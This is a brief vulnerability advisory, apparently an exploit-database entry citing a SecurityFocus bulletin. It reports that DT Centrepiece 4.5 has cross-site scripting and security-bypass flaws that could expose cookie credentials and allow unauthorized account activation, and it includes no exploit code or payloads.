DT Centrepiece 4.5 - Cross-Site Scripting Security Bypass

source: https://www.securityfocus.com/bid/42243/info

DT Centrepiece is prone to multiple cross-site scripting vulnerabilities and multiple security-bypass vulnerabilities.

An attacker may leverage the cross-site scripting issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

The attacker may leverage the security bypass issues to activate arbitrary accounts and gain unauthorized access to the affected application.

DT Centrepiece 4.5 is vulnerable; other versions may also be affected.
